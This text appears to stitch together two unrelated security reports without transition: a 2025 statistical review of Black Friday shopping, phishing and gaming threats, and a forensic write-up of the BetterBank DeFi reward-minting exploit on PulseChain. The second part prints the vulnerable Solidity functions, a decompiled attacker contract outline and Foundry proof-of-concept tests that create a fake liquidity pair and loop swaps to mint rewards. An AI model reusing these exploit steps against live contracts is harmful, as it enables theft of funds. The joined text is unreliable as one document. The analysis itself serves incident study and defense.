The global e‑commerce market is accelerating faster than ever before, driven by expanding online retail, and rising consumer adoption worldwide. According to McKinsey Global Institute, global e‑commerce is projected to grow by 7–9% annually through 2040.

At Kaspersky, we track how this surge in online shopping activity is mirrored by cyber threats. In 2025, we observed attacks which targeted not only e‑commerce platform users but online shoppers in general, including those using digital marketplaces, payment services and apps for everyday purchases. This year, we additionally analyzed how cybercriminals exploited gaming platforms during Black Friday, as the gaming industry has become an integral part of the global sales calendar. Threat actors have been ramping up their efforts during peak sales events like Black Friday, exploiting high demand and reduced user vigilance to steal personal data, funds, or spread malware.

This report continues our annual series of analyses published on Securelist in 2021, 2022, 2023, and  2024, which examine the evolving landscape of shopping‑related cyber threats.

Methodology

To track how the shopping threat landscape continues to evolve, we conduct an annual assessment of the most common malicious techniques, which span financial malware, phishing pages that mimic major retailers, banks, and payment services, as well as spam campaigns that funnel users toward fraudulent sites. In 2025, we also placed a dedicated focus on gaming-related threats, analyzing how cybercriminals leverage players’ interest. The threat data we rely on is sourced from the Kaspersky Security Network (KSN), which processes anonymized cybersecurity data shared consensually by Kaspersky users. This report draws on data collected from January through October 2025.

Key findings

• In the first ten months of 2025, Kaspersky identified nearly 6.4 million phishing attacks which targeted users of online stores, payment systems, and banks.
• As many as 48.2% of these attacks were directed at online shoppers.
• We blocked more than 146,000 Black Friday-themed spam messages in the first two weeks of November.
• Kaspersky detected more than 2 million phishing attacks related to online gaming.
• Around 1.09 million banking-trojan attacks were recorded during the 2025 Black Friday season.
• The number of attempted attacks on gaming platforms surged in 2025, reaching more than 20 million, a significant increase compared to previous years.
• More than 18 million attempted malicious attacks were disguised as Discord in 2025, a more than 14-time increase year-over-year, while Steam remained within its usual five-year fluctuation range.

Shopping fraud and phishing

Phishing and scams remain among the most common threats for online shoppers, particularly during high-traffic retail periods when users are more likely to act quickly and rely on familiar brand cues. Cybercriminals frequently recreate the appearance of legitimate stores, payment pages, and banking services, making their fraudulent sites and emails difficult to distinguish from real ones. With customers navigating multiple offers and payment options, they may overlook URL or sender details, increasing the likelihood of credential theft and financial losses.

From January through to October 2025, Kaspersky products successfully blocked 6,394,854 attempts to access phishing links which targeted users of online stores, payment systems, and banks. Breaking down these attempts, 48.21% had targeted online shoppers (for comparison, this segment accounted for 37.5% in 2024), 26.10% targeted banking users (compared to 44.41% in 2024), and 25.69% mimicked payment systems (18.09% last year). Compared to previous years, there has been a noticeable shift in focus, with attacks against online store users now representing a larger share, reflecting cybercriminals’ continued emphasis on exploiting high-demand retail periods, while attacks on banking users have decreased in relative proportion. This may be related to online banking protection hardening worldwide.

Financial phishing attacks by category, January–October 2025 (download)

In 2025, Kaspersky products detected and blocked 606,369 phishing attempts involving the misuse of Amazon’s brand. Cybercriminals continued to rely on Amazon-themed pages to deceive users and obtain personal or financial information.

Other major e-commerce brands were also impersonated. Attempts to visit phishing pages mimicking Alibaba brands, such as AliExpress, were detected 54,500 times, while eBay-themed pages appeared in 38,383 alerts. The Latin American marketplace Mercado Libre was used as a lure in 8,039 cases, and Walmart-related phishing pages were detected 8,156 times.

Popular online stores mimicked by scammers, January–October 2025 (download)

In 2025, phishing campaigns also extensively mimicked other online platforms. Netflix-themed pages were detected 801,148 times, while Spotify-related attempts reached 576,873. This pattern likely reflects attackers’ continued focus on high-traffic digital entertainment services with in-service payments enabled, which can be monetized via stolen accounts.

How scammers exploited shopping hype in 2025

In 2025, Black Friday-related scams continued to circulate across multiple channels, with fraudulent email campaigns remaining one of the key distribution methods. As retailers increase their seasonal outreach, cybercriminals take advantage of the high volume of promotional communications by sending look-alike messages that direct users to scam and phishing pages. In the first two weeks of November, 146,535 spam messages connected to seasonal sales were detected by Kaspersky, including 2,572 messages referencing Singles day sales.

Scammers frequently attempt to mimic well-known platforms to increase the credibility of their messages. In one of the recurring campaigns, a pattern seen year after year, cybercriminals replicated Amazon’s branding and visual style, promoting supposedly exclusive early-access discounts of up to 70%. In this particular case, the attackers made almost no changes to the text used in their 2024 campaign, again prompting users to follow a link leading to a fraudulent page. Such pages are usually designed to steal their personal or payment information or to trick the user into buying non-existent goods.

Beyond the general excitement around seasonal discounts, scammers also try to exploit consumers’ interest in newly released Apple devices. To attract attention, they use the same images of the latest gadgets across various mailing campaigns, just changing the names of legitimate retailers that allegedly sell the brand.

Scammers use an identical image across different campaigns, only changing the retailer’s branding

As subscription-based streaming platforms also take part in global sales periods, cybercriminals attempt to take advantage of this interest as well. For example, we observed a phishing website where scammers promoted an offer for a “12-month subscription bundle” covering several popular services at once, asking users to enter their bank card details. To enhance credibility, the scammers also include fabricated indicators of numerous successful purchases from other “users,” making the offer appear legitimate.

In addition to imitating globally recognized platforms, scammers also set up fake pages that pretend to be local services in specific countries. This tactic enables more targeted campaigns that blend into the local online landscape, increasing the chances that users will perceive the fraudulent pages as legitimate and engage with them.

Banking Trojans

Banking Trojans, or “bankers,” are another tool for cybercriminals exploiting busy shopping seasons like Black Friday in 2025. They are designed to steal sensitive data from online banking and payment systems. In this section, we’ll focus on PC bankers. Once on a victim’s device, they monitor the browser and, when the user visits a targeted site, can use techniques like web injection or form-grabbing to capture login credentials, credit card information, and other personal data. Some trojans also watch the clipboard for crypto wallet addresses and replace them with those controlled by the malicious actors.

As online shopping peaks during major sales events, attackers increasingly target e-commerce platforms alongside banks. Trojans may inject fake forms into legitimate websites, tricking users into revealing sensitive data during checkout and increasing the risk of identity theft and financial fraud. In 2025, Kaspersky detected over 1,088,293* banking Trojan attacks. Among notable banker-related cases analysed by Kaspersky throughout the year, campaigns involving the new Maverick banking Trojan distributed via WhatsApp, as well as the Efimer Trojan which spread through malicious emails and compromised WordPress sites can be mentioned, both illustrating how diverse and adaptive banking Trojan delivery methods are.

*These statistics include globally active banking malware, and malware for ATMs and point-of-sale (PoS) systems. We excluded data on Trojan-banker families that no longer use banking Trojan functionality in their attacks, such as Emotet.

A holiday sales season on the dark web

Apparently, even the criminal underground follows its own version of a holiday sales season. Once data is stolen, it often ends up on dark-web forums, where cybercriminals actively search for buyers. This pattern is far from new, and the range of offers has remained largely unchanged over the past two years.

Threat actors consistently seize the opportunity to attract “new customers,” advertising deep discounts tied to high-profile global sales events. It is worth noting that year after year we see the same established services announce their upcoming promotions in the lead-up to Black Friday, almost as if operating on a retail calendar of their own.

We also noted that dark web forum participants themselves eagerly await these seasonal markdowns, hoping to obtain databases at the most favorable rates and expressing their wishes in forum posts. In the months before Black Friday, posts began appearing on carding-themed forums advertising stolen payment-card data at promotional prices.

Threats targeting gaming

The gaming industry faces a high concentration of scams and other cyberthreats due to its vast global audience and constant demand for digital goods, updates, and in-game advantages. Players often engage quickly with new offers, making them more susceptible to deceptive links or malicious files. At the same time, the fact that gamers often download games, mods, skins etc. from third-party marketplaces, community platforms, and unofficial sources creates additional entry points for attackers.

The number of attempted attacks on platforms beloved by gamers increased dramatically in 2025, reaching 20,188,897 cases, a sharp rise compared to previous years.

Attempts to attack users through malicious or unwanted files disguised as popular gaming platforms (download)

The nearly sevenfold increase in 2025 is most likely linked to the Discord block by some countries introduced at the end of 2024. Eventually users rely on alternative tools, proxies and modified clients. This change significantly expanded the attack surface, making users more vulnerable to fake installers, and malicious updates disguised as workarounds for the restriction.

It can also be seen in the top five most targeted gaming platforms of 2025:

Platform	The number of attempted attacks
Discord	18,556,566
Steam	1,547,110
Xbox	43,560
Uplay	28,366
Battle.net	5,538

In previous years, Steam consistently ranked as the platform with the highest number of attempted attacks. Its extensive game library, active modding ecosystem, and long-standing role in the gaming community made it a prime target for cybercriminals distributing malicious files disguised as mods, cheats, or cracked versions. In 2025, however, the landscape changed significantly. The gap between Steam and Discord expanded to an unprecedented degree as Steam-related figures remained within their typical fluctuation range of the past five years,  while the number of attempted Discord-disguised attacks surged more than 14 times compared to 2024, reshaping the hierarchy of targeted gaming platforms.

Attempts to attack users through malicious or unwanted files disguised as Steam and Discord throughout the reported period (download)

From January to October, 2025, cybercriminals used a variety of cyberthreats disguised as popular related to gamers platforms, modifications or circumvention options. RiskTool dominated the threat landscape with 17,845,099 detections, far more than any other category. Although not inherently malicious, these tools can hide files, mask processes, or disable programs, making them useful for stealthy, persistent abuse, including covert crypto-mining. Downloaders ranked second with 1,318,743 detections. These appear harmless but may fetch additional malware among other downloaded files. Downloaders are typically installed when users download unofficial patches, cracked clients, or mods. Trojans followed with 384,680 detections, often disguised as cheats or mod installers. Once executed, they can steal credentials, intercept tokens, or enable remote access, leading to account takeovers and the loss of in-game assets.

Threat	Gaming-related detections
RiskTool	17,845,099
Downloader	1,318,743
Trojan	384,680
Adware	184,257
Exploit	152,354

Phishing and scam threats targeting gamers

In addition to tracking malicious and unwanted files disguised as gamers’ platforms, Kaspersky experts also analysed phishing pages which impersonated these services. Between January and October 2025, Kaspersky products detected 2,054,336 phishing attempts targeting users through fake login pages, giveaway offers, “discounted” subscriptions and other scams which impersonated popular platforms like Steam, PlayStation, Xbox and gaming stores.

The page shown in the screenshot is a typical Black Friday-themed scam that targets gamers, designed to imitate an official Valorant promotion. The “Valorant Points up to 80% off” banner, polished layout, and fake countdown timer create urgency and make the offer appear credible at first glance. Users who proceed are redirected to a fake login form requesting Riot account credentials or bank card details. Once submitted, this information enables attackers to take over accounts, steal in-game assets, or carry out fraudulent transactions.

Another phishing page relies on a fabricated “Winter Gift Marathon” that claims to offer a free $20 Steam gift card. The seasonal framing, combined with a misleading counter (“251,110 of 300,000 cards received”), creates an artificial sense of legitimacy and urgency intended to prompt quick user interaction.

The central component of the scheme is the “Sign in” button, which redirects users to a spoofed Steam login form designed to collect their credentials. Once obtained, attackers can gain full access to the account, including payment methods, inventory items, and marketplace assets, and may be able to compromise additional services if the same password is used elsewhere.

Examples of scams on Playstation 5 Pro and Xbox series X

Scams themed around the PlayStation 5 Pro and Xbox Series X appear to be generated from a phishing kit, a reusable template that scammers adapt for different brands. Despite referencing two consoles, both pages follow the same structure which features a bold claim offering a chance to “win” a high-value device, a large product image on the left, and a minimalistic form on the right requesting the user’s email address.

A yellow banner promotes an “exclusive offer” with “limited availability,” pressuring users to respond quickly. After submitting an email, victims are typically redirected to additional personal and payment data-collection forms. They also may later be targeted with follow-up phishing emails, spam, or malicious links.

Conclusions

In 2025, the ongoing expansion of global e-commerce continued to be reflected in the cyberthreat landscape, with phishing, scam activity, and financial malware targeting online shoppers worldwide. Peak sales periods once again created favorable conditions for fraud, resulting in sustained activity involving spoofed retailer pages, fraudulent email campaigns, and seasonal spam.

Threat actors also targeted users of digital entertainment and subscription services. The gaming sector experienced a marked increase in malicious activity, driven by shifts in platform accessibility and the widespread use of third-party tools. The significant rise in malicious detections associated with Discord underscored how rapidly attackers adjust to changes in user behavior.

Overall, 2025 demonstrated that cybercriminals continue to leverage predictable user behavior patterns and major sales events to maximize the impact of their operations. Consumers should remain especially vigilant during peak shopping periods and use stronger security practices, such as two-factor authentication, secure payment methods, and cautious browsing. A comprehensive security solution that blocks malware, detects phishing pages, and protects financial data can further reduce the risk of falling victim to online threats.

Executive summary

From August 26 to 27, 2025, BetterBank, a decentralized finance (DeFi) protocol operating on the PulseChain network, fell victim to a sophisticated exploit involving liquidity manipulation and reward minting. The attack resulted in an initial loss of approximately $5 million in digital assets. Following on-chain negotiations, the attacker returned approximately $2.7 million in assets, mitigating the financial damage and leaving a net loss of around $1.4 million. The vulnerability stemmed from a fundamental flaw in the protocol’s bonus reward system, specifically in the swapExactTokensForFavorAndTrackBonus function. This function was designed to mint ESTEEM reward tokens whenever a swap resulted in FAVOR tokens, but critically, it lacked the necessary validation to ensure that the swap occurred within a legitimate, whitelisted liquidity pool.

A prior security audit by Zokyo had identified and flagged this precise vulnerability. However, due to a documented communication breakdown and the vulnerability’s perceived low severity, the finding was downgraded, and the BetterBank development team did not fully implement the recommended patch. This incident is a pivotal case study demonstrating how design-level oversights, compounded by organizational inaction in response to security warnings, can lead to severe financial consequences in the high-stakes realm of blockchain technology. The exploit underscores the importance of thorough security audits, clear communication of findings, and multilayered security protocols to protect against increasingly sophisticated attack vectors.

In this article, we will analyze the root cause, impact, and on-chain forensics of the helper contracts used in the attack.

Incident overview

Incident timeline

The BetterBank exploit was the culmination of a series of events that began well before the attack itself. In July 2025, approximately one month prior to the incident, the BetterBank protocol underwent a security audit conducted by the firm Zokyo. The audit report, which was made public after the exploit, explicitly identified a critical vulnerability related to the protocol’s bonus system. Titled “A Malicious User Can Trade Bogus Tokens To Qualify For Bonus Favor Through The UniswapWrapper,” the finding was a direct warning about the exploit vector that would later be used. However, based on the documented proof of concept (PoC), which used test Ether, the severity of the vulnerability was downgraded to “Informational” and marked as “Resolved” in the report. The BetterBank team did not fully implement the patched code snippet.

The attack occurred on August 26, 2025. In response, the BetterBank team drained all remaining FAVOR liquidity pools to protect the assets that had not yet been siphoned. The team also took the proactive step of announcing a 20% bounty for the attacker and attempted to negotiate the return of funds.

Remarkably, these efforts were successful. On August 27, 2025, the attacker returned a significant portion of the stolen assets – 550 million DAI tokens. This partial recovery is not a common outcome in DeFi exploits.

Financial impact

This incident had a significant financial impact on the BetterBank protocol and its users. Approximately $5 million worth of assets was initially drained. The attack specifically targeted liquidity pools, allowing the perpetrator to siphon off a mix of stablecoins and native PulseChain assets. The drained assets included 891 million DAI tokens, 9.05 billion PLSX tokens, and 7.40 billion WPLS tokens.

In a positive turn of events, the attacker returned approximately $2.7 million in assets, specifically 550 million DAI. These funds represented a significant portion of the initial losses, resulting in a final net loss of around $1.4 million. This figure speaks to the severity of the initial exploit and the effectiveness of the team’s recovery efforts. While data from various sources show minor fluctuations in reported values due to real-time token price volatility, they consistently point to these key figures.

A detailed breakdown of the losses and recovery is provided in the following table:

Financial Metric	Value	Details
Initial Total Loss	~$5,000,000	The total value of assets drained during the exploit.
Assets Drained	891M DAI, 9.05B PLSX, 7.40B WPLS	The specific tokens and quantities siphoned from the protocol’s liquidity pools.
Assets Returned	~$2,700,000 (550M DAI)	The value of assets returned by the attacker following on-chain negotiations.
Net Loss	~$1,400,000	The final, unrecovered financial loss to the protocol and its users.

Protocol description and vulnerability analysis

The BetterBank protocol is a decentralized lending platform on the PulseChain network. It incorporates a two-token system that incentivizes liquidity provision and engagement. The primary token is FAVOR, while the second, ESTEEM, acts as a bonus reward token. The protocol’s core mechanism for rewarding users was tied to providing liquidity for FAVOR on decentralized exchanges (DEXs). Specifically, a function was designed to mint and distribute ESTEEM tokens whenever a trade resulted in FAVOR as the output token. While seemingly straightforward, this incentive system contained a critical design flaw that an attacker would later exploit.

The vulnerability was not a mere coding bug, but a fundamental architectural misstep. By tying rewards to a generic, unvalidated condition – the appearance of FAVOR in a swap’s output – the protocol created an exploitable surface. Essentially, this design choice trusted all external trading environments equally and failed to anticipate that a malicious actor could replicate a trusted environment for their own purposes. This is a common failure in tokenomics, where the focus on incentivization overlooks the necessary security and validation mechanisms that should accompany the design of such features.

The technical root cause of the vulnerability was a fundamental logic flaw in one of BetterBank’s smart contracts. The vulnerability was centered on the swapExactTokensForFavorAndTrackBonus function. The purpose of this function was to track swaps and mint ESTEEM bonuses. However, its core logic was incomplete: it only verified that FAVOR was the output token from the swap and failed to validate the source of the swap itself. The contract did not check whether the transaction originated from a legitimate, whitelisted liquidity pool or a registered contract. This lack of validation created a loophole that allowed an attacker to trigger the bonus system at will by creating a fake trading environment.

This primary vulnerability was compounded by a secondary flaw in the protocol’s tokenomics: the flawed design of convertible rewards.

The ESTEEM tokens, minted as a bonus, could be converted back into FAVOR tokens. This created a self-sustaining feedback loop. An attacker could trigger the swapExactTokensForFavorAndTrackBonus function to mint ESTEEM, and then use those newly minted tokens to obtain more FAVOR. The FAVOR could then be used in subsequent swaps to mint even more ESTEEM rewards. This cyclical process enabled the attacker to generate an unlimited supply of tokens and drain the protocol’s real reserves. The synergistic combination of logic and design flaws created a high-impact attack vector that was difficult to contain once initiated.

To sum it up, the BetterBank exploit was the result of a critical vulnerability in the bonus minting system that allowed attackers to create fake liquidity pairs and harvest an unlimited amount of ESTEEM token rewards. As mentioned above, the system couldn’t distinguish between legitimate and malicious liquidity pairs, creating an opportunity for attackers to generate illegitimate token pairs. The BetterBank system included protection measures against attacks capable of inflicting substantial financial damage – namely a sell tax. However, the threat actors were able to bypass this tax mechanism, which exacerbated the impact of the attack.

Exploit breakdown

The exploit targeted the bonus minting system of the favorPLS.sol contract, specifically the logBuy() function and related tax logic. The key vulnerable components are:

1. File: favorPLS.sol
2. Vulnerable function: logBuy(address user, uint256 amount)
3. Supporting function: calculateFavorBonuses(uint256 amount)
4. Tax logic: _transfer() function

The logBuy function only checks if the caller is an approved buy wrapper; it doesn’t validate the legitimacy of the trading pair or liquidity source.

function logBuy(address user, uint256 amount) external {
    require(isBuyWrapper[msg.sender], "Only approved buy wrapper can log buys");

    (uint256 userBonus, uint256 treasuryBonus) = calculateFavorBonuses(amount);
    pendingBonus[user] += userBonus;

    esteem.mint(treasury, treasuryBonus);
    emit EsteemBonusLogged(user, userBonus, treasuryBonus);

The tax only applies to transfers to legitimate, whitelisted addresses that are marked as isMarketPair[recipient]. By definition, fake, unauthorized LPs are not included in this mapping, so they bypass the maximum 50% sell tax imposed by protocol owners.

function _transfer(address sender, address recipient, uint256 amount) internal override {
    uint256 taxAmount = 0;

    if (_isTaxExempt(sender, recipient)) {
        super._transfer(sender, recipient, amount);
        return;
    }

    // Transfer to Market Pair is likely a sell to be taxed
    if (isMarketPair[recipient]) {
        taxAmount = (amount * sellTax) / MULTIPLIER;
    }

    if (taxAmount > 0) {
        super._transfer(sender, treasury, taxAmount);
        amount -= taxAmount;
    }

    super._transfer(sender, recipient, amount);
}

The uniswapWraper.sol contract contains the buy wrapper functions that call logBuy(). The system only checks if the pair is in allowedDirectPair mapping, but this can be manipulated by creating fake tokens and adding them to the mapping to get them approved.

function swapExactTokensForFavorAndTrackBonus(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
) external {
    address finalToken = path[path.length - 1];
    require(isFavorToken[finalToken], "Path must end in registered FAVOR");
    require(allowedDirectPair[path[0]][finalToken], "Pair not allowed");
    require(path.length == 2, "Path must be direct");

    // ... swap logic ...

    uint256 twap = minterOracle.getTokenTWAP(finalToken);
    if(twap < 3e18){
        IFavorToken(finalToken).logBuy(to, favorReceived);
    }
}

Step-by-step attack reconstruction

The attack on BetterBank was not a single transaction, but rather a carefully orchestrated sequence of on-chain actions. The exploit began with the attacker acquiring the necessary capital through a flash loan. Flash loans are a feature of many DeFi protocols that allow a user to borrow large sums of assets without collateral, provided the loan is repaid within the same atomic transaction. The attacker used the loan to obtain a significant amount of assets, which were then used to manipulate the protocol’s liquidity pools.

The attacker used the flash loan funds to target and drain the real DAI-PDAIF liquidity pool, a core part of the BetterBank protocol. This initial step was crucial because it weakened the protocol’s defenses and provided the attacker with a large volume of PDAIF tokens, which were central to the reward-minting scheme.

After draining the real liquidity pool, the attacker moved to the next phase of the operation. They deployed a new, custom, and worthless ERC-20 token. Exploiting the permissionless nature of PulseX, the attacker then created a fake liquidity pool, pairing their newly created bogus token with PDAIF.

This fake pool was key to the entire exploit. It enabled the attacker to control both sides of a trading pair and manipulate the price and liquidity to their advantage without affecting the broader market.

One critical element that made this attack profitable was the protocol’s tax logic. BetterBank had implemented a system that levied high fees on bulk swaps to deter this type of high-volume trading. However, the tax only applied to “official” or whitelisted liquidity pairs. Since the attacker’s newly created pool was not on this list, they were able to conduct their trades without incurring any fees. This critical loophole ensured the attack’s profitability.

After establishing the bogus token and fake liquidity pool, the attacker initiated the final and most devastating phase of the exploit: the reward minting loop. They executed a series of rapid swaps between their worthless token and PDAIF within their custom-created pool. Each swap triggered the vulnerable swapExactTokensForFavorAndTrackBonus function in the BetterBank contract. Because the function did not validate the pool, it minted a substantial bonus of ESTEEM tokens with each swap, despite the illegitimacy of the trading pair.

Each swap triggers:

• swapExactTokensForFavorAndTrackBonus()
• logBuy() function call
• calculateFavorBonuses() execution
• ESTEEM token minting (44% bonus)
• fake LP sell tax bypass

The newly minted ESTEEM tokens were then converted back into FAVOR tokens, which could be used to facilitate more swaps. This created a recursive loop that allowed the attacker to generate an immense artificial supply of rewards and drain the protocol’s real asset reserves. Using this method, the attacker extracted approximately 891 million DAI, 9.05 billion PLSX, and 7.40 billion WPLS, effectively destabilizing the entire protocol. The success of this multi-layered attack demonstrates how a single fundamental logic flaw, combined with a series of smaller design failures, can lead to a catastrophic outcome.

Mitigation strategy

This attack could have been averted if a number of security measures had been implemented.

First, the liquidity pool should be verified during a swap. The LP pair and liquidity source must be valid.

function logBuy(address user, uint256 amount) external {
    require(isBuyWrapper[msg.sender], "Only approved buy wrapper can log buys");
    
    //  ADD: LP pair validation
    require(isValidLPPair(msg.sender), "Invalid LP pair");
    require(hasMinimumLiquidity(msg.sender), "Insufficient liquidity");
    require(isVerifiedPair(msg.sender), "Unverified trading pair");
    
    //  ADD: Amount limits
    require(amount <= MAX_SWAP_AMOUNT, "Amount exceeds limit");
    
    (uint256 userBonus, uint256 treasuryBonus) = calculateFavorBonuses(amount);
    pendingBonus[user] += userBonus;
    
    esteem.mint(treasury, treasuryBonus);
    emit EsteemBonusLogged(user, userBonus, treasuryBonus);
}

The sell tax should be applied to all transfers.

function _transfer(address sender, address recipient, uint256 amount) internal override {
    uint256 taxAmount = 0;
    
    if (_isTaxExempt(sender, recipient)) {
        super._transfer(sender, recipient, amount);
        return;
    }
    
    //  FIX: Apply tax to ALL transfers, not just market pairs
    if (isMarketPair[recipient] || isUnverifiedPair(recipient)) {
        taxAmount = (amount * sellTax) / MULTIPLIER;
    }
    
    if (taxAmount > 0) {
        super._transfer(sender, treasury, taxAmount);
        amount -= taxAmount;
    }
    
    super._transfer(sender, recipient, amount);
}

To prevent large-scale one-time attacks, a daily limit should be introduced to stop users from conducting transactions totaling more than 10,000 ESTEEM tokens per day.

mapping(address => uint256) public lastBonusClaim;
mapping(address => uint256) public dailyBonusLimit;
uint256 public constant MAX_DAILY_BONUS = 10000 * 1e18; // 10K ESTEEM per day

function logBuy(address user, uint256 amount) external {
    require(isBuyWrapper[msg.sender], "Only approved buy wrapper can log buys");
    
    //  ADD: Rate limiting
    require(block.timestamp - lastBonusClaim[user] > 1 hours, "Rate limited");
    require(dailyBonusLimit[user] < MAX_DAILY_BONUS, "Daily limit exceeded");
    
    // Update rate limiting
    lastBonusClaim[user] = block.timestamp;
    dailyBonusLimit[user] += calculatedBonus;
    
    // ... rest of function
}

On-chain forensics and fund tracing

The on-chain trail left by the attacker provides a clear forensic record of the exploit. After draining the assets on PulseChain, the attacker swapped the stolen DAI, PLSX, and WPLS for more liquid, cross-chain assets. The perpetrator then bridged approximately $922,000 worth of ETH from the PulseChain network to the Ethereum mainnet. This was done using a secondary attacker address beginning with 0xf3BA…, which was likely created to hinder exposure of the primary exploitation address. The final step in the money laundering process was the use of a crypto mixer, such as Tornado Cash, to obscure the origin of the funds and make them untraceable.

Tracing the flow of these funds was challenging because many public-facing block explorers for the PulseChain network were either inaccessible or lacked comprehensive data at the time of the incident. This highlights the practical difficulties associated with on-chain forensics, where the lack of a reliable, up-to-date block explorer can greatly hinder analysis. In these scenarios, it becomes critical to use open-source explorers like Blockscout, which are more resilient and transparent.

The following table provides a clear reference for the key on-chain entities involved in the attack:

On-Chain Entity	Address	Description
Primary Attacker EOA	0x48c9f537f3f1a2c95c46891332E05dA0D268869B	The main externally owned account used to initiate the attack.
Secondary Attacker EOA	0xf3BA0D57129Efd8111E14e78c674c7c10254acAE	The address used to bridge assets to the Ethereum network.
Attacker Helper Contracts	0x792CDc4adcF6b33880865a200319ecbc496e98f8, etc.	A list of contracts deployed by the attacker to facilitate the exploit.
PulseXRouter02	0x165C3410fC91EF562C50559f7d2289fEbed552d9	The PulseX decentralized exchange router contract used in the exploit.

We managed to get hold of the attacker’s helper contracts to deepen our investigation. Through comprehensive bytecode analysis and contract decompilation, we determined that the attack architecture was multilayered. The attack utilized a factory contract pattern (0x792CDc4adcF6b33880865a200319ecbc496e98f8) that contained 18,219 bytes of embedded bytecode that were dynamically deployed during execution. The embedded contract revealed three critical functions: two simple functions (0x51cff8d9 and 0x529d699e) for initialization and cleanup, and a highly complex flash loan callback function (0x920f5c84) with the signature executeOperation(address[],uint256[],uint256[],address,bytes), which matches standard DeFi flash loan protocols like Aave and dYdX. Analysis of the decompiled code revealed that the executeOperation function implements sophisticated parameter parsing for flash loan callbacks, dynamic contract deployment capabilities, and complex external contract interactions with the PulseX Router (0x165c3410fc91ef562c50559f7d2289febed552d9).

contract BetterBankExploitContract {
    
    function main() external {
        // Initialize memory
        assembly {
            mstore(0x40, 0x80)
        }
        
        // Revert if ETH is sent
        if (msg.value > 0) {
            revert();
        }
        
        // Check minimum calldata length
        if (msg.data.length < 4) {
            revert();
        }
        
        // Extract function selector
        uint256 selector = uint256(msg.data[0:4]) >> 224;
        
        // Dispatch to appropriate function
        if (selector == 0x51cff8d9) {
            // Function: withdraw(address)
            withdraw();
        } else if (selector == 0x529d699e) {
            // Function: likely exploit execution
            executeExploit();
        } else if (selector == 0x920f5c84) {
            // Function:  executeOperation(address[],uint256[],uint256[],address,bytes)
            // This is a flash loan callback function!
            executeOperation();
        } else {
            revert();
        }
    }
    
    // Function 0x51cff8d9 - Withdraw function
    function withdraw() internal {
        // Implementation would be in the bytecode
        // Likely withdraws profits to attacker address
    }
    
    // Function 0x529d699e - Main exploit function
    function executeExploit() internal {
        // Implementation would be in the bytecode
        // Contains the actual BetterBank exploit logic
    }
    
    // Function 0x920f5c84 - Flash loan callback
    function executeOperation(
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata premiums,
        address initiator,
        bytes calldata params
    ) internal {
        // This is the flash loan callback function
        // Contains the exploit logic that runs during flash loan
    }
}

The attack exploited three critical vulnerabilities in BetterBank’s protocol: unvalidated reward minting in the logBuy function that failed to verify legitimate trading pairs; a tax bypass mechanism in the _transfer function that only applied the 50% sell tax to addresses marked as market pairs; and oracle manipulation through fake trading volume. The attacker requested flash loans of 50M DAI and 7.14B PLP tokens, drained real DAI-PDAIF pools, and created fake PDAIF pools with minimal liquidity. They performed approximately 20 iterations of fake trading to trigger massive ESTEEM reward minting, converting the rewards into additional PDAIF tokens, before re-adding liquidity with intentional imbalances and extracting profits of approximately 891M DAI through arbitrage.

PoC snippets

To illustrate the vulnerabilities that made such an attack possible, we examined code snippets from Zokyo researchers.

First, a fake liquidity pool pair is created with FAVOR and a fake token is generated by the attacker. By extension, the liquidity pool pairs with this token were also unsubstantiated.

function _createFakeLPPair() internal {
        console.log("--- Step 1: Creating Fake LP Pair ---");
        
        vm.startPrank(attacker);
        
        // Create the pair
        fakePair = factory.createPair(address(favorToken), address(fakeToken));
        console.log("Fake pair created at:", fakePair);
        
        // Add initial liquidity to make it "legitimate"
        uint256 favorAmount = 1000 * 1e18;
        uint256 fakeAmount = 1000000 * 1e18;
        
        // Transfer FAVOR to attacker
        vm.stopPrank();
        vm.prank(admin);
        favorToken.transfer(attacker, favorAmount);
        
        vm.startPrank(attacker);
        
        // Approve router
        favorToken.approve(address(router), favorAmount);
        fakeToken.approve(address(router), fakeAmount);
        
        // Add liquidity
        router.addLiquidity(
            address(favorToken),
            address(fakeToken),
            favorAmount,
            fakeAmount,
            0,
            0,
            attacker,
            block.timestamp + 300
        );
        
        console.log("Liquidity added to fake pair");
        console.log("FAVOR in pair:", favorToken.balanceOf(fakePair));
        console.log("FAKE in pair:", fakeToken.balanceOf(fakePair));
        
        vm.stopPrank();
    }

Next, the fake LP pair is approved in the allowedDirectPair mapping, allowing it to pass the system check and perform the bulk swap transactions.

function _approveFakePair() internal {
        console.log("--- Step 2: Approving Fake Pair ---");
        
        vm.prank(admin);
        routerWrapper.setAllowedDirectPair(address(fakeToken), address(favorToken), true);
        
        console.log("Fake pair approved in allowedDirectPair mapping");
    }

These steps enable exploit execution, completing FAVOR swaps and collecting ESTEEM bonuses.

function _executeExploit() internal {
        console.log("--- Step 3: Executing Exploit ---");
        
        vm.startPrank(attacker);
        
        uint256 exploitAmount = 100 * 1e18; // 100 FAVOR per swap
        uint256 iterations = 10; // 10 swaps
        
        console.log("Performing %d exploit swaps of %d FAVOR each", iterations, exploitAmount / 1e18);
        
        for (uint i = 0; i < iterations; i++) {
            _performExploitSwap(exploitAmount);
            console.log("Swap %d completed", i + 1);
        }
        
        // Claim accumulated bonuses
        console.log("Claiming accumulated ESTEEM bonuses...");
        favorToken.claimBonus();
        
        vm.stopPrank();
    }

We also performed a single swap in a local environment to demonstrate the design flaw that allowed the attackers to perform transactions over and over again.

function _performExploitSwap(uint256 amount) internal {
        // Create swap path: FAVOR -> FAKE -> FAVOR
        address[] memory path = new address[](2);
        path[0] = address(favorToken);
        path[1] = address(fakeToken);
        
        // Approve router
        favorToken.approve(address(router), amount);
        
        // Perform swap - this triggers logBuy() and mints ESTEEM
        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            amount,
            0, // Accept any amount out
            path,
            attacker,
            block.timestamp + 300
        );
    }

Finally, several checks are performed to verify the exploit’s success.

function _verifyExploitSuccess() internal {        
        uint256 finalFavorBalance = favorToken.balanceOf(attacker);
        uint256 finalEsteemBalance = esteemToken.balanceOf(attacker);
        uint256 esteemMinted = esteemToken.totalSupply() - initialEsteemBalance;
        
        console.log("Attacker's final FAVOR balance:", finalFavorBalance / 1e18);
        console.log("Attacker's final ESTEEM balance:", finalEsteemBalance / 1e18);
        console.log("Total ESTEEM minted during exploit:", esteemMinted / 1e18);
        
        // Verify the attack was successful
        assertGt(finalEsteemBalance, 0, "Attacker should have ESTEEM tokens");
        assertGt(esteemMinted, 0, "ESTEEM tokens should have been minted");
        
        console.log("EXPLOIT SUCCESSFUL!");
        console.log("Attacker gained ESTEEM tokens without legitimate trading activity");
    }

